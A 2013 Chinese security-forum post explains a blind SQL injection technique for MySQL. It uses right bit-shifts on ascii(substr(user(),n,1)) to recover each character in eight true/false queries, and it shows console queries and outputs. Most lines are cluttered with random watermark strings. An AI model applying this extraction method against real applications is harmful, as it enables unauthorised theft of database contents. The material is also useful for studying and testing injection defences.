找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2060|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位$ r& C7 w$ N$ i! L8 I+ D8 W% }

: P! H- |9 u' X' N0 I 8 d1 ~, B# g/ S6 L3 |7 X6 R

8 K  A% f4 g9 L! P- F/ a. H下面将以查询mysql数据库当中user()的第一位为例:9 J, _; J! z* F' c

6 ~( e& F1 j2 M
. W. \2 _4 X( e* h0 w* F0 h4 s0 p* h6 H' a5 _
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)7 @3 i. U$ ]! r! j% D' ]3 S# l
& B# W+ H2 z8 m2 n- x, j0 t/ m

3 ^/ L; J: n* `: `" N5 `
: @( O: T* N* w; M- d+ b首先执行如下sql语句:
* N$ w  ]- d' N$ X+ G
, K0 w0 H1 ^# X* O* {! @6 J
" V! e: \2 s" m# G3 E8 l5 n  P0 S- D' o( @
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;! X2 Q4 m" y; z  w9 z" a# K
+ b$ d5 U# ~9 I& t/ T5 G( E$ j3 T# P

5 \* F% {  Y2 y) O# c0 P! f7 H
! ^! B0 t1 N' H6 S' c3 I6 a0 W" c我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
" I/ B% U( y5 W4 i" p5 L8 H% B% `6 M. p  f
9 N8 l  S: g. R, O% w2 D6 Q

. I, |; S! l0 W5 ~% D* E7 g第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
& w0 [3 G- n6 }- l9 A( }4 X0 O7 N. x; k( w

& j; G* }( c  w: v" J: X
/ G) |( d! C! o6 |+ B% \如果运算结果为1,说明第一位为0,不为14 M0 ^6 \% s  _* B3 t0 N; C# Y. E

- N) Z/ s. |# b9 d6 C7 P; x
% V: Q$ M. K. o, g$ o
$ N- _; N4 s) ~$ Y0 _) e+————————————–+
/ z* w, `& L* M5 n/ j5 |) u
$ [( T7 t0 I! V+ `" G; {, W| (ascii((substr(user(),1,1))) >> 7)=0 |3 }/ p; h4 ?8 P/ }& S, y
; g9 [" W: O# ?
+————————————–++ n7 z' M! X+ S; }# x9 M

- D- j3 @- a! X# b| 1 |, y3 u3 y6 v  T9 z% f4 S" M
" P# J" Y5 \& G% I$ G  q) y" a1 B
+————————————–+- H+ q+ F5 r+ b7 f1 I" n

( [& F% h3 s4 \4 p( x1 row in set (0.00 sec); \/ u/ h0 ]& S, z5 O6 Y

7 G8 l. d" Q. A/ Z' j1 l这样我们就确定这个8bit的ascii的第一位为0
3 d, z& N* I7 j* H
2 q; h1 Y: e( _+ V 8 k/ E/ ^' ?' Q) H3 ^5 T

) g; a' R1 _% @8 A. @! b% v第二次我们来做6次右偏移来确定前两位
) b% Q$ S+ v. w5 f- [. C# E7 L$ r( c' N
8 L  N, @: |  f2 o
* o, v4 Y3 d6 p4 w; A5 k0 v+ }, f1 q
前两位可能是01或00,即依然可以与0做比较,* ?$ {' f4 S$ u& |7 `
1 `3 u- l, a! G- u$ ?
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;/ T0 p; J' @. ~, a5 `- ^
& _, u2 O; Q$ z4 n4 T- j
+————————————–+
; o: |( N4 H4 O, t. _3 j$ {1 P2 i# V1 J8 v" j, {! c6 x3 o' h
| (ascii((substr(user(),1,1))) >> 6)=0 |5 D0 u8 e; c3 l6 V

% I4 R. \5 i( P+————————————–+8 O6 _6 ^- h8 x1 S+ n5 {' D

9 ?% ^1 ?) k+ Q4 q| 0 |
6 H% y. V% ]2 u7 P
) z; e5 a& U/ [& S7 n3 `) H; [5 `+————————————–+
) g: M/ v3 f' L" l# |; F. W
& u0 u4 \3 ~0 x6 W- h1 row in set (0.00 sec)
& U- Q& A7 b( \. f7 _; s# P4 H* f1 f& n2 ^
$ l- y5 y( o5 Q4 _& P

% I# D/ N" Z2 m' S8 c+ O- L结果为0,即第二位为1
: E3 J' N, V6 {3 t4 c" J; p- _
9 r( A: r$ G: A0 P8 T3 b3 y$ r
' L! X/ [  M9 E2 G0 o, U- T8 A! P; ]; }: G" Z% t
开始猜测前三位为010或011
2 V1 K7 A; @+ g" `, w1 _( v
* v, T. ]1 f4 c3 d2 s5 @9 W. \ $ A9 Z( G4 s; X$ o- m% \
% J3 V2 p* R2 E6 N2 Q1 _
让我们看看010和011的ascii码是多少& ^, G4 K$ F* Y( v% h8 z

, j! W; @0 X& s$ a ; ~; S$ B$ ~, c1 n; G8 O3 k  W

: G, S$ `5 T" w) W% ?7 Y7 x% j分别查询select b’011′ select b’010′
1 k' E6 T' J: G$ q# ]" Z7 p' J/ S) Q$ E4 _

5 W1 I- F8 l, G
& s3 T0 l2 y  Y获得结果 010 = 2 011 = 3
1 d6 Q, P# v, k! t6 C( u2 _
1 T$ v# Z) h% s5 p% r& `/ g ' e- w3 h* V. L7 `2 Q$ a  M4 J+ p+ V2 G
' G, r" ?- R8 b- z
执行如下sql:
- F3 ~9 }% G" `( C0 c3 K" q- S8 h4 |/ }# Z; a9 ]- k
& Q! R( H0 [) W

' Z3 D7 |1 N/ c7 D! l* c9 Emysql> select (ascii((substr(user(),1,1))) >> 5)=2;
- U* f( H$ M" z1 i$ I* X/ T
+ i* q- A0 z) p5 Y( g+————————————–+
+ `) ]4 ~7 D) `
" L. j4 M, O( M% {  ?5 i! q& }9 r! c# b| (ascii((substr(user(),1,1))) >> 5)=2 |
4 `# n. A: n+ \+ s3 f- t% z% c/ I
+ k5 K$ c( ]# B0 l+————————————–+
3 y! c( [8 _* w; P8 N$ k2 F1 t% j+ s+ H
| 0 |
% X* z/ ~  V* m' z& H1 a4 o; W2 K" \- c* k0 L( U% |
+————————————–+8 U0 _2 |7 I: [3 e& w  L
* M8 v0 G8 Q" a0 F! t
即前三位不为010,而是011
7 ?) v0 K/ l- I4 l" G' ~* I) f
5 g& h4 S/ j( r, I( f5 J 7 a+ z/ V" T0 T
' Q. g& z0 ~# ?0 e
直到获得最后一位
# z% T4 n5 S8 l7 w, E" W8 {+ E7 m& `) |# s, _: i
" A( r3 Y+ n+ b0 ]7 j, l; ^/ c) e

/ K+ P/ ?" }7 u, [- Z. e4 t8 h最终结果为:01110010+ A1 q. ~: C: x3 y6 e1 z9 |
+ b& L% y" {6 v. g# r
# k' r  L: D% V' j- p, J5 e
9 b5 c4 I8 Y, I& g# o
转换一下:
- \$ l( L6 _: d5 n- c5 o* [
! Z( g8 L+ L5 r7 c
$ F" D& R% B  ^0 E: D) s8 o
* z; q$ j6 D" s9 I+ q$ n5 aselect b’01110010′
3 S# t) y6 p4 Z6 v3 n: E! ]: X- W+ {: x9 L: e

. q8 E: s7 n9 l3 @% G; j8 P
& A- M0 O% w) U2 L/ z查询结果
2 Y& I0 _3 Z/ H+ s. |8 X$ P" b, w
% {7 n4 i' q  m2 a9 s6 x9 C0 ~6 r - y' W. B9 W  u& |3 M3 u5 _

$ g+ g  }" q, v" y1 C3 J& T+————-+
. t( L4 d- v9 c5 ^# F( s: P+ y  y$ n) M
| b’01110010′ |5 H$ J4 Q' R$ A- H: e8 L
2 D  D; G$ N# E- u4 m
+————-+
1 W  Z; u- U9 W$ X& i" U$ _( ^% i: W" K) Q4 L( B
| r |
6 [4 Q% v* l* m1 C4 k+ U/ W1 P9 m+ I) m* W5 J7 \: f6 z
+————-+1 e! _- @: y9 P4 x! F

/ t$ s: b( e. S" u& Q1 row in set (0.00 sec)% A$ g, P" X. K, T& l
4 I( a0 @# u) G$ }, `# @/ R% b. K
% l% u9 z% g3 a& z& C2 Y7 t8 t. T  F  Y
, {* ~, j# Z6 N
这样我们就获得了user()的第一位.其它位依此类推
) G2 h2 V* Z' w2 K! Z; O  L, s: \8 N4 T* g$ v& [  L5 }; k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表